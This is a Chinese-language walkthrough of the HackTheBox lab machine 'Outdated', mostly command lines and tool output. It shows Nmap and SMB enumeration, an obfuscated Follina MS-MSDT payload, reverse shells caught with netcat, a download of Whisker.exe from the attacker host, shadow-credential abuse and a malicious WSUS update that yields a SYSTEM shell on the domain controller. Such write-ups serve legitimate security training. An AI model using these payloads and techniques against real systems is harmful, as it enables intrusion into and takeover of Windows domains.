Outdated 是一款中等难度的 Linux 机器，其立足点基于 2022 年的“Follina” CVE。该框进一步包含一个 Active Directory 场景，我们必须从域用户转向域控制器，使用一系列工具来利用“AD”的配置和相邻边缘来发挥我们的优势。最后一步包括利用 Windows Server Update Services-WSUS 并利用其糟糕的配置来破坏域控制器。
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p- -Pn 10.10.11.175 --min-rate=10000 [sudo] kali 的密码： Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-10 15:17 CST Nmap scan report for 10.10.11.175 Host is up (0.20s latency). Not shown: 65513 filtered tcp ports (no-response) PORT STATE SERVICE 25/tcp open smtp 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 8530/tcp open unknown 8531/tcp open unknown 9389/tcp open adws 49667/tcp open unknown 49687/tcp open unknown 49688/tcp open unknown 49913/tcp open unknown 63320/tcp open unknown 63353/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 28.17 seconds
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -sC -sV -Pn 10.10.11.175 --min-rate=10000 -p25,53,88,135,139,389,445,464,593,636,3269,5985,8530,8531,9389,49667,49687,49688,49913,63320,63353 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-10 15:20 CST Nmap scan report for 10.10.11.175 Host is up (0.26s latency).
PORT STATE SERVICE VERSION 25/tcp filtered smtp 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-10 15:08:50Z) 135/tcp filtered msrpc 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name) |_ssl-date: 2024-10-10T15:10:23+00:00; +7h48m26s from scanner time. | ssl-cert: Subject: commonName=DC.outdated.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.outdated.htb | Not valid before: 2023-12-13T00:17:36 |_Not valid after: 2024-12-12T00:17:36 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp filtered ldapssl 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name) |_ssl-date: 2024-10-10T15:10:24+00:00; +7h48m26s from scanner time. | ssl-cert: Subject: commonName=DC.outdated.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.outdated.htb | Not valid before: 2023-12-13T00:17:36 |_Not valid after: 2024-12-12T00:17:36 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 8530/tcp filtered unknown 8531/tcp filtered unknown 9389/tcp open mc-nmf .NET Message Framing 49667/tcp filtered unknown 49687/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49688/tcp open msrpc Microsoft Windows RPC 49913/tcp open msrpc Microsoft Windows RPC 63320/tcp filtered unknown 63353/tcp filtered unknown Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 101.36 seconds
┌──(kali㉿offsec)-[~/Desktop] └─$ echo "10.10.11.175 dc.outdated.htb hostmaster.outdated.htb outdated.htb" | sudo tee -a /etc/hosts [sudo] kali 的密码： 10.10.11.175 dc.outdated.htb hostmaster.outdated.htb outdated.htb
5、尝试扫描下共享目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
┌──(kali㉿offsec)-[~/Desktop] └─$ netexec smb 10.10.11.175 -u guest -p '' --shares SMB 10.10.11.175 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:outdated.htb) (signing:True) (SMBv1:False) SMB 10.10.11.175 445 DC [+] outdated.htb\guest: SMB 10.10.11.175 445 DC [*] Enumerated shares SMB 10.10.11.175 445 DC Share Permissions Remark SMB 10.10.11.175 445 DC ----- ----------- ------ SMB 10.10.11.175 445 DC ADMIN$ Remote Admin SMB 10.10.11.175 445 DC C$ Default share SMB 10.10.11.175 445 DC IPC$ READ Remote IPC SMB 10.10.11.175 445 DC NETLOGON Logon server share SMB 10.10.11.175 445 DC Shares READ SMB 10.10.11.175 445 DC SYSVOL Logon server share SMB 10.10.11.175 445 DC UpdateServicesPackages A network share to be used by client systems for collecting all software packages (usually applications) published on this WSUS system. SMB 10.10.11.175 445 DC WsusContent A network share to be used by Local Publishing to place published content on this WSUS system. SMB 10.10.11.175 445 DC WSUSTemp A network share used by Local Publishing from a Remote WSUS Console Instance.
[+] IP: 10.10.11.175:445Name: dc.outdated.htb Status: Authenticated Disk Permissions Comment ---- ----------- ------- ADMIN$ NOACCESS Remote Admin C$ NOACCESSDefaultshare IPC$ READONLY Remote IPC NETLOGON NOACCESS Logon servershare Shares READONLY SYSVOL NOACCESS Logon servershare UpdateServicesPackages NOACCESS A network shareto be used by client systems for collecting all software packages (usually applications) published on this WSUS system. WsusContent NOACCESS A network shareto be used byLocal Publishing to place published content on this WSUS system. WSUSTemp NOACCESS A network share used byLocal Publishing from a Remote WSUS Console Instance.
6、还是有些收获的，让我们看看可访问目录里的文件吧
1 2 3 4 5 6 7 8 9 10 11 12
┌──(kali㉿offsec)-[~/Desktop] └─$ smbclient //10.10.11.175/Shares -N Try "help" to get a list of possible commands. smb: \> ls . D 0 Mon Jun 2023:01:332022 .. D 0 Mon Jun 2023:01:332022 NOC_Reminder.pdf AR 106977 Mon Jun 2023:00:322022
9116415 blocks of size 4096. 1941803 blocks available smb: \> get NOC_Reminder.pdf getting file \NOC_Reminder.pdf of size 106977 as NOC_Reminder.pdf (101.6 KiloBytes/sec) (average 101.6 KiloBytes/sec) smb: \> exit
# Slap together a unique MS-MSDT payload that is over 4096 bytes at minimum html_payload = f"""<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'{base64_payload}'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\\""; //""" html_payload += ( "".join([random.choice(string.ascii_lowercase) for _ in range(4096)]) + "\n</script>" )
┌──(kali㉿offsec)-[~/Desktop] └─$ nc -lvnp 443 listening on [any] 443 ... connect to [10.10.16.7] from (UNKNOWN) [10.10.11.175] 49829 Microsoft Windows [Version 10.0.19043.928] (c) Microsoft Corporation. All rights reserved.
Host Name: CLIENT OS Name: Microsoft Windows 10 Enterprise N OS Version: 10.0.19043 N/A Build 19043 OS Manufacturer: Microsoft Corporation OS Configuration: Member Workstation OS Build Type: Multiprocessor Free Registered Owner: setup Registered Organization: Product ID: 00330-00182-51735-AA058 Original Install Date: 6/15/2022, 8:20:38 AM System Boot Time: 10/10/2024, 6:53:06 AM System Manufacturer: Microsoft Corporation System Model: Virtual Machine System Type: x64-based PC Processor(s): 1 Processor(s) Installed. [01]:AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2994 Mhz BIOS Version: American Megatrends Inc. 090007 , 5/18/2018 Windows Directory: C:\Windows System Directory: C:\Windows\system32 Boot Device: \Device\HarddiskVolume1 System Locale: en-us;English (United States) Input Locale: en-us;English (United States) Time Zone: (UTC-08:00) Pacific Time (US & Canada) Total Physical Memory: 1,506 MB Available Physical Memory:495 MB Virtual Memory:Max Size: 2,146 MB Virtual Memory:Available: 892 MB Virtual Memory:In Use: 1,254 MB Page File Location(s): C:\pagefile.sys Domain: outdated.htb Logon Server: \\DC Hotfix(s): 4 Hotfix(s) Installed. [01]:KB4601554 [02]:KB5000736 [03]:KB5001330 [04]:KB5001405 Network Card(s): 1 NIC(s) Installed. [01]:Microsoft Hyper-V Network Adapter Connection Name:Ethernet DHCP Enabled: No IP address(es) [01]:172.16.20.20 Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
C:\Users\btables\Desktop>
1 2 3 4 5 6 7 8
C:\Users\btables\Desktop>net time /domain net time /domain Current timeat \\DC.outdated.htb is10/10/20248:49:42 AM
PS C:\Users\btables\Desktop> iwr http://10.10.16.7/Whisker.exe -outfile w.exe iwr http://10.10.16.7/Whisker.exe -outfile w.exe PS C:\Users\btables\Desktop> dir dir
Directory: C:\Users\btables\Desktop
Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 10/10/20248:53 AM 1181920241010085323_BloodHound.zip -a---- 10/10/20248:53 AM 8553 MjdhMDc5MjItNDk4MS00NjFiLWFkY2ItZjQ0ZTBlODI3Mzhh.bin -a---- 10/10/20248:51 AM 1046528 s.exe -a---- 10/10/20249:08 AM 41984 w.exe
PS C:\Users\btables\Desktop>
20、运行它来查找 sflowers 的任何当前条目。没有：
1 2 3 4 5 6 7 8 9
.\w.exe list /domain:outdated.htb /target:sflowers /dc:DC.outdated.htb
PS C:\Users\btables\Desktop> .\w.exe list /domain:outdated.htb /target:sflowers /dc:DC.outdated.htb .\w.exe list /domain:outdated.htb /target:sflowers /dc:DC.outdated.htb [*] Searching for the target account [*] Target user found: CN=Susan Flowers,CN=Users,DC=outdated,DC=htb [*] Listing deviced for sflowers: [*] No entries! PS C:\Users\btables\Desktop>
21、并没有上述的用户，那继续执行命令，添加一个用户
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
C:\Users\btables\Desktop>.\w.exe add /domain:outdated.htb /target:sflowers /dc:DC.outdated.htb /password:shiyan10 .\w.exe add /domain:outdated.htb /target:sflowers /dc:DC.outdated.htb /password:shiyan10 [*] No path was provided. The certificate will be printed as a Base64 blob [*] Searching for the target account [*] Target user found: CN=Susan Flowers,CN=Users,DC=outdated,DC=htb [*] Generating certificate [*] Certificate generated [*] Generating KeyCredential [*] KeyCredential generated with DeviceID 0a0da7f4-d194-4f06-a7f9-e196850227fb [*] Updating the msDS-KeyCredentialLink attribute of the target object [+] Updated the msDS-KeyCredentialLink attribute of the target object [*] You can now run Rubeus with the following syntax:
C:\Users\Administrator\Desktop>net usersflowers net usersflowers Username sflowers Full Name Susan Flowers Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never
Password last set 6/20/202211:04:09 AM Password expires Never Password changeable 6/21/202211:04:09 AM Password required Yes Usermay change password No
Workstations allowed All Logon script Userprofile Home directory Last logon 6/15/202210:48:27 PM
Logon hours allowed All
Local GroupMemberships *Remote Management Use*WSUS Administrators Global Groupmemberships *Domain Users The command completed successfully.
C:\Users\Administrator\Desktop>
C:\Users\Administrator\Desktop>net usersflowers /domain net usersflowers /domain Username sflowers Full Name Susan Flowers Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never
Password last set 6/20/202211:04:09 AM Password expires Never Password changeable 6/21/202211:04:09 AM Password required Yes Usermay change password No
Workstations allowed All Logon script Userprofile Home directory Last logon 6/15/202210:48:27 PM
Logon hours allowed All
Local GroupMemberships *Remote Management Use*WSUS Administrators Global Groupmemberships *Domain Users The command completed successfully.
[*] Update created - When ready to deploy use the following command: [*] SharpWSUS.exe approve /updateid:c5687e3e-43ad-4527-8575-033151b0a584 /computername:Target.FQDN /groupname:"Group Name"
[*] To check on the update status use the following command: [*] SharpWSUS.exe check /updateid:c5687e3e-43ad-4527-8575-033151b0a584 /computername:Target.FQDN
[*] To delete the update use the following command: [*] SharpWSUS.exe delete /updateid:c5687e3e-43ad-4527-8575-033151b0a584 /computername:Target.FQDN /groupname:"Group Name"
Targeting dc.outdated.htb TargetComputer, ComputerID, TargetID ------------------------------------ dc.outdated.htb, bd6d57d0-5e6f-4e74-a789-35c8955299e1, 1 Group Exists = False Group Created: CriticalPatches Added Computer To Group Approved Update
[*] Approve complete
*Evil-WinRM* PS C:\Users\sflowers\Desktop>
28、到这里就获取到了管理员的shell了
1 2 3 4 5 6 7 8 9 10 11 12
┌──(kali㉿offsec)-[~/Desktop] └─$ rlwrap nc -lvnp 445 listening on [any]445 ... connect to [10.10.16.7] from (UNKNOWN) [10.10.11.175]62202 Microsoft Windows [Version 10.0.17763.1432] (c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami whoami nt authority\system
